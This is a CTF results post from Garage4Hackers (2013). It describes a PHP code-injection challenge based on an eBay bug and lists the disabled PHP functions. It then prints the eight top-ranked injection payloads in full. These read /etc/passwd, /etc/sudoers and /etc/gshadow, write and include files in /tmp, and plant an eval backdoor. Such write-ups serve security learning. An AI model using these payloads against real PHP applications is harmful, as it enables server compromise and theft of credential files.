Garage4Hackers CTF web level 1 challenge result

December 27, 2013

The Garage4Hackers CTF level 1 challenge came to life on 25th December, 2013 at 10:30 PM IST. It saw nice participation from across the globe with some really creative attempts to crack the challenge. It took us some serious judging to filter out the top attempts. Finally we are done with it. And now we are pleased to announce the results of our Level 1 challenge !!

The Challenge was :

To try to execute simple PHP code or pwn the server and try to update the



List of disabled functions:
dl,exec, passthru, shell_exec, system, proc_open, popen ,curl_exec, curl_multi_exec , parse_ini_file, show_source, url_exec, syslog, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled ,pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, allow_url_fopen, allow_url_include, stream_select

expose_php = Off
display_errors = Off
track_errors = Off
html_errors = Off

Vulnerability Description :

I would like to give special thanks to David Vieira-Kurz(@secalert) for finding this awesome bug on Ebay. This kind of vulnerability was less known until lately when it shot to limelight ( . We decided to make Level 1 challenge based on this vulnerability and tried to emulate the same flaw as in the case of eBay. For more details on the vulnerability check following blogs.

Submissions from approximately 400 participants

We saw approximately 400 individual participants looking to grab the prize. Payload attempts ranged from the blunt nessus scanners to really cool “insert the coolest attack here ”attacks.

We have decided to release the total apache log generated during the challenge. You can download it by emailing us.

Top submissions are based on best payload and then 1st come 1st out basis in case of same payload.

Top submissions

1. Xelenonz Lp.[]=x{${phpinfo()}}{${highlight_file('./index.php')}}{${file_put_contents('updateme.txt','Xelenonz',FILE_APPEND)}};{${eval($_GET['code'])}}&code=file_put_contents('updateme.txt','Xelenonz',FILE_APPEND);{${print_r(glob("/tmp/*"))}}{${print_r(scandir($_GET['dir']))}}&dir=/tmp

2. Pichaya Morimoto(LongCat){${readfile('/tmp/lnz')}}{${include('/tmp/lnz')}}{${print_r(stat("updateme.txt"))}}{${file_put_contents("/tmp/lnz",base64_decode("PD9waHAgcGhwaW5mbygpOyA/Pg=="))}}{${read_file('index.php')}}

3. Mykola Ilin – solarwind [Defcon Ukraine]${include "/proc/cpuinfo"}${include "/etc/passwd"}${var_dump(glob("/proc/self/fd/*"))}${var_dump(glob("/etc/*"))}${file_put_contents("updateme.txt","\\nsolarwind\\n",FILE_APPEND)}

4. Pedro [tunelko]${var_dump(base64_decode('PD8gcGhwaW5mbygpOyBkaWUoKTs/Pg=='))}${var_dump(file_get_contents('/etc/sudoers'))}${var_dump(file_get_contents('/etc/gshadow'))}${var_dump(ini_get('disable_functions'))}${file_put_contents("updateme.txt","\nsolarwind\n",FILE_APPEND)}

5. Nishant{${phpinfo()}}{${file_put_contents('updateme.txt',' at Thu, 26/12/2013 1:25AM IST')}}

6. Bharadwaj Machiraju{${phpinfo()}}${file_put_contents("updateme.txt", "\ntunnelshade\n", FILE_APPEND)}

7. Rahul Mali{${phpinfo()}}{${fwrite(fopen("updateme.txt","a"),"Rahul%20Mali%20(")}}

8. Piyush Pattanayak{${phpinfo()}}{${file_put_contents('updateme.txt', 'Piyush Pattanayak', FILE_APPEND)}})

Note: Everyone tried execute PHP Curly Syntax as per our log information .However we can also execute the PHP code in the following way.".phpinfo()."



Xelenonz Lp. and Solarwind

G4h T-shirt

We Provide Penetration Testing

Leave a Reply

Your email address will not be published. Required fields are marked *


We Provide Penetration Testing